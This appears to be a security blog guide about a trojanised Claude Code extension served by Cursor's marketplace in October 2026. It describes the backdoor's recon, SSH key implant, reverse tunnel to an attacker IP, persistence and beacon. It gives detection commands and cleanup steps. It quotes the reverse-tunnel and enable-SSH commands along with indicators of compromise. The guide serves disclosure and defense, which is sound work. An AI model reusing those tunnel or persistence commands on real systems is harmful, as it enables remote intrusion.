Guide
The Cursor marketplace backdoor: what the trojanised Claude Code extension did, and how to check you're clean
For about eleven hours on 29 October 2026, anyone letting Cursor update their extensions could pick up a tampered build of the Claude Code extension with a backdoor prepended to it. Simply loading the extension planted an SSH key, dropped persistence that survives uninstalling, and sent your machine's details to an attacker. Cursor estimates at most 5,000 users received it. Here is what the payload actually did, why most affected machines never got a working remote shell, and the commands that say whether yours was one of them.
- Published
- 04 Nov 2026
- Reading
- 10 min
- Class
- guide
half-life 90dfrom 4 Nov 2026
The extension is called anthropic.claude-code. It is Anthropic's
official Claude Code integration for VS Code, and it is one of the first things
people install when they move from chatting with a model to actually working
with one. On 29 October 2026, if you ran Cursor and it updated or installed
that extension between 2:27am and 1:35pm Pacific time, you could have received
a build that was the real extension in every respect except one: roughly 7KB
of hostile JavaScript spliced onto the front
(Cursor's
security notice, 29 October 2026, updated 30 October; loader analysis in
StepSecurity's
write-up, updated 1 November 2026).
Nothing about Claude Code itself was broken. This was not a vulnerability in Anthropic's code and it did not touch Anthropic's systems. A malicious actor used access to Cursor's extension marketplace to publish a tampered copy under the legitimate extension identifier — the software supply-chain attack pattern, aimed squarely at the tooling around the model rather than the model. Which is the part worth sitting with: your choice of frontier model had nothing to do with this. Your editor's extension updater did.
The eleven-hour window
The full timeline, from Cursor's notice and StepSecurity's reconstruction:
- 29 October, ~2:27am PT (09:27 UTC) — Tampered builds 2.1.312 and 2.1.313 for macOS and Windows appear in Cursor's VS Code Extension Marketplace. The "2.1.313" package is a repackaged 2.1.312: the bundle inside still identifies itself as 2.1.312 (StepSecurity, 1 November 2026).
- 29 October, until 1:35pm PT (20:35 UTC) — The builds are served to anyone installing or auto-updating the extension. Cursor's estimate is that at most 5,000 users received them.
- 29 October, 1:35pm PT — Cursor removes the builds and shuts the whole marketplace down as a precaution. Later audits find no other extensions tampered with; Cursor rotates its keys and rebuilds (Cursor, 29–30 October 2026).
- 30 October — The attacker's server (134.209.82.225) is taken offline with its hosting provider's cooperation, killing the beacon and the reverse tunnel endpoint (Cursor, 29 October 2026 notice).
- 30 October — Microsoft publishes its own analysis of the injected loader and confirms the malicious packages were never on the Visual Studio Marketplace or npm. Anthropic, told the same thing to Microsoft and in public, and skipped the version number to 2.1.314 to avoid confusion (StepSecurity, 30 October 2026 update).
What the payload actually did
StepSecurity recovered the malicious extension.js and read it in
full on 1 November 2026. The tampering is a pure prepend: a single 7,386-byte
loader spliced in front of an otherwise byte-identical clean 2.1.312 bundle.
It is not obfuscated — minified JavaScript with plaintext constants, and every
indicator in Cursor's list lives inside those first 7KB. It runs the moment the
extension module loads, under plain Node.js. No conversation needed, no prompt
to a model, no click beyond opening the editor. Then it does six things, each
wrapped in a silent try/catch that swallows failures so the
extension keeps working normally and you notice nothing:
- Reconnaissance. Collects hostname, username, OS, CPU architecture, home and working directories, your global Git email, and the names — never the values — of up to 40 environment variables matching KEY, TOKEN, SECRET, PASS, AWS or GCP (Microsoft Threat Intelligence, 30 October 2026). A shopping list of what is worth stealing, without transmitting anything secret yet.
- SSH key implant. Appends an attacker-controlled Ed25519
public key labelled
svc-telemetryto~/.ssh/authorized_keys(idempotent — it checks for the marker first). This is the part that matters: anyone holding the matching private key can log in as you whenever SSH is reachable. - Enable SSH. Tries to switch on the local SSH service —
systemctl enable --now sshdon Linux,systemsetup -setremotelogin onon macOS, the OpenSSH.Server capability on Windows. This usually fails: it needs admin rights the extension does not have. - Reverse tunnel. Drops a private key in a temp file
(
.stk_plus ten hex characters derived from your hostnames, so the same machine always produces the same filename) and loopsssh -N -R '*:0:localhost:22'totunnel@134.209.82.225every 60 seconds, preferringautosshwhere installed. Host-key checking is disabled so it never prompts. - Persistence. Writes startup machinery outside the
extension folder: a
com.apple.sysmond.plistLaunchAgent on macOS (the name mimics a system daemon), a cron@rebootentry running~/.config/.smton Linux, aSysMonscheduled task on Windows with a Start Menu Startup-folder fallback. The.smtscript re-derives its own copy of the key, so it survives temp-directory cleanup (StepSecurity, 1 November 2026). - Beacon. After a short delay, resolves your public IP via ifconfig.me or api.ipify.org — both legitimate services, so that traffic alone proves nothing — and POSTs the collected details to port 8099 on both localhost and the attacker's server.
The reassuring headline is the misleading one
Cursor's notice leads with a genuinely mitigating fact: outside unusual setups where Cursor was running with administrator privileges, errors in the malicious code meant the SSH-enable step failed, so the tunnel had nothing to connect to and the attacker could not have logged in that way. Most affected machines never got a working remote shell. Microsoft's analysis agrees that a live SSH process does not equal attacker access.
But read the remediation list again. The key was written regardless. The
persistence was written regardless. The host details — including the names of
your secret-bearing environment variables and your Git email — were sent
regardless. And the key is the whole game: if SSH is ever reachable on that
machine, now or after some future configuration change, the svc-telemetry
key is still sitting in authorized_keys. It survives uninstalling
the extension. It survives reboots. The @reboot cron entry and the
LaunchAgent keep trying to bring the tunnel back every 60 seconds until someone
removes them by hand. Cursor says it plainly: uninstalling the extension may
not be sufficient.
What was not touched
Scope matters here, because half the early reporting got it wrong. The
malicious builds existed only in Cursor's extension marketplace. Microsoft
confirmed on 30 October 2026 that they were never published to the Visual
Studio Marketplace or npm (@anthropic-ai/claude-code), and
Anthropic confirmed its systems and employee laptops were not compromised. The
2.1.312 build served by Open VSX is a different, verified-clean artifact —
StepSecurity downloaded and hashed it independently (30 October 2026 update).
If you installed Claude Code from Anthropic's official channels, at any point,
this incident does not touch you. Having 2.1.312 or 2.1.313 installed does not
by itself mean compromise either: exposure means that version, from Cursor's
marketplace, inside the eleven-hour window, on macOS or Windows.
How to check you're clean
Two checks, in this order. First the install: if you did not install or update
anthropic.claude-code from Cursor's marketplace between 09:27 and
20:35 UTC on 29 October 2026, you were not exposed. Check your extension
install/update logs rather than memory — auto-update is exactly how this
spread.
Then the machine itself. Cursor's one-liner looks for the key comment, which is the fastest tell (29 October 2026 notice). On macOS and Linux:
grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"
On Windows, in PowerShell:
$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found; machine not impacted" }
"No key found" means the payload never landed its implant. "Key found" means
you are in the remediation section below. If you want a second, independent
signal: the loader's extension.js is SHA-256
ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15,
and traffic to 134.209.82.225 (SSH on port 22 or HTTP POSTs to port 8099) in
your endpoint or network telemetry on 29 October settles it either way.
If you are hit: the cleanup order
Cursor ships remediation scripts —
remediate-macos.sh
(run as the affected user, not root) and
remediate-windows.ps1
(from an elevated PowerShell) — which remove the extension, the persistence,
the running tunnel processes and the key, and exit non-zero if anything
remains. If you would rather do it by hand, or verify the script's work, the
artifacts are enumerated in Cursor's indicators list: the svc-telemetry
line in authorized_keys; ~/.config/.smt and
~/.config/.smtk; the .stk_* temp file; the
com.apple.sysmond.plist LaunchAgent; the cron @reboot
entry; the Windows SysMon scheduled task and
sysmon.cmd Startup fallback. Any ssh or
autossh process looping against 134.209.82.225 dies with them.
Then the part people skip. Rotate every credential and session reachable from that machine — cloud keys, package registry tokens, Git credentials, CI/CD secrets — from a trusted system, not the affected one. Cursor's reasoning is worth quoting because it is honest about the limits of the recon stage: the limited environment-variable collection does not rule out later credential access over the backdoor. If the machine holds production credentials and you cannot enumerate what the loader's window touched, rebuilding is the conservative answer and Cursor's step 4 says so explicitly.
Your workstation is the target now
This is the third post on this site in six weeks to land on the same shape — the PaperCut and RubyGems attacks automated the supply chain, the MCP attack surfaces extended it through protocol plumbing, and now an extension marketplace has delivered a backdoor under a trusted brand's identifier. The model was never involved in any of them. What these tools sit on top of — extension marketplaces, package registries, skill directories, MCP servers — is software supply chain with a new delivery speed, and the developers running them hold the keys to exactly what attackers want: repositories, cloud credentials, deployment pipelines.
Two practical habits fall out of this one. Pin or review what your editor auto-installs; eleven hours is a short window, but auto-update turns it into a wide one. And treat your workstation with the same suspicion you already apply to production: least privilege on the account your agent runs as, SSH keys reviewed occasionally rather than appended forever, and no standing cloud credentials in the environment of a machine whose extension sources you have not checked. None of that is new wisdom. This incident is just a very concrete reason to have done it already.
The half-life on this guide is 90 days, but the checks themselves age well: the key comment, the file paths and the hashes are permanent facts about this incident, and the habit of verifying where an extension build came from does not expire. When the next marketplace incident lands — and the pattern now has a proven delivery channel — the checklist barely changes.
Sources
- Cursor: security notice — malicious Anthropic.claude-code 2.1.312 and 2.1.313 in the Cursor VS Code Extension Marketplace — published 29 October 2026, updated 30 October 2026 11:30am PT. The timeline, the at-most-5,000-users estimate, the check and remediation scripts, and the full indicators-of-compromise list (hashes, key fingerprint, file paths, network endpoints).
- Microsoft Threat Intelligence: inside a malicious Claude Code-branded extension and its persistent SSH backdoor — 30 October 2026. The five-stage attack chain reconstruction, the environment-variable-name collection detail, and confirmation that the Visual Studio Marketplace and npm were never affected.
- StepSecurity: trojanized Claude Code extension delivered persistent SSH backdoor to developer machines — 30 October 2026, updated 1 November 2026. The recovered-source analysis of the 7,386-byte loader (the pure-prepend finding, the 2.1.313-inside-2.1.312 detail, the
.smtself-re-deriving key), the clean Open VSX 2.1.312 verification, and the exposure window in UTC. - Felix Rieseberg (Anthropic) on incident scope and David Dworken (Anthropic) on the unaffected official distribution — 30 October 2026, as cited by StepSecurity. Anthropic's systems were not compromised; 2.1.313 was never published to Open VSX, the Visual Studio Marketplace or any official host.